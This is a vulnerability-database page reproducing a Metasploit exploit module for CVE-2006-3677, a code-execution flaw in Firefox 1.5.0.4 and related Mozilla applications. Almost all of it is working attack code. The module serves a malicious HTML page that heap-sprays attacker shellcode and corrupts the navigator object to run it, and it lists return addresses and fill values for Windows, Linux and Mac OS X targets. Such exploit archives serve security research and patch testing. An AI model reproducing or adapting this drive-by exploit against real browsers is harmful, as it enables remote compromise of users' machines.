Mozilla Suite/Firefox < 1.5.0.5 - Navigator Object Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Mozilla Suite/Firefox < 1.5.0.5 - Navigator Object Code Execution exploi

                                                ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require &#39;msf/core/constants&#39;
require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:ua_name    =&#62; HttpClients::FF,
		:javascript =&#62; true,
		:rank       =&#62; NormalRanking, # reliable memory corruption
		:vuln_test  =&#62; %Q|
			is_vuln = false;
			if (window.navigator.javaEnabled && window.navigator.javaEnabled()){
				is_vuln = true; 
			}
			|,
	})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Mozilla Suite/Firefox Navigator Object Code Execution&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a code execution vulnerability in the Mozilla
			Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit 
			requires the Java plugin to be installed.

			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;  [&#39;hdm&#39;],
			&#39;Version&#39;        =&#62; &#39;$Revision$&#39;,
			&#39;References&#39;     =&#62; 
				[
					[&#39;CVE&#39;,    &#39;2006-3677&#39;],
					[&#39;OSVDB&#39;,  &#39;27559&#39;],
	  				[&#39;BID&#39;,    &#39;19192&#39;],
					[&#39;URL&#39;,    &#39;http://www.mozilla.org/security/announce/mfsa2006-45.html&#39;],
					[&#39;URL&#39;,    &#39;http://browserfun.blogspot.com/2006/07/mobb-28-mozilla-navigator-object.html&#39;],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 512,
					&#39;BadChars&#39; =&#62; &#34;&#34;,
				},
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Firefox 1.5.0.4 Windows x86&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;win&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Ret&#39;  =&#62; 0x08000800,
							&#39;Fill&#39; =&#62; &#34;%u0800&#34;,
						}
					],
					[ &#39;Firefox 1.5.0.4 Linux x86&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;linux&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Ret&#39;  =&#62; -0x58000000,
							&#39;Fill&#39; =&#62; &#34;%ua8a8&#34;,
						}
					],
					[ &#39;Firefox 1.5.0.4 Mac OS X PPC&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_PPC,
							&#39;Ret&#39;  =&#62; 0x0c000000,
							&#39;Fill&#39; =&#62; &#34;%u0c0c&#34;,
						}
					],
					[ &#39;Firefox 1.5.0.4 Mac OS X x86&#39;, 
						{
							&#39;Platform&#39; =&#62; &#39;osx&#39;,
							&#39;Arch&#39; =&#62; ARCH_X86,
							&#39;Ret&#39;  =&#62; 0x1c000000,
							&#39;Fill&#39; =&#62; &#34;%u1c1c&#34;,
						}
					],																
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 25 2006&#39;
			))
	end

	def on_request_uri(cli, request)
	
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response_html(cli, generate_html(p), { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
		
		# Handle the payload
		handler(cli)
	end
	
	def generate_html(payload)

		enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		return %Q|
&#60;html&#62;&#60;head&#62;
&#60;script&#62;
	function Exploit() {
		if (window.navigator.javaEnabled) {
			var shellcode = unescape(&#34;#{enc_code}&#34;);
			var b = unescape(&#34;#{target[&#39;Fill&#39;]}&#34;);
			while (b.length &#60;= 0x400000) b+=b;

			var c = new Array();
			for (var i =0; i&#60;36; i++) {
				c[i] = 
					b.substring(0,  0x100000 - shellcode.length) + shellcode +
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode + 
					b.substring(0,  0x100000 - shellcode.length) + shellcode;
			}

			window.navigator = (#{target[&#39;Ret&#39;]} / 2);
			try {
				java.lang.reflect.Runtime.newInstance(
					java.lang.Class.forName(&#34;java.lang.Runtime&#34;), 0
				);
			}catch(e){

			}
		}
	}
&#60;/script&#62;
&#60;/head&#62;&#60;body onload=&#39;Exploit()&#39;&#62;Please wait...&#60;/body&#62;&#60;/html&#62;
		|
	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1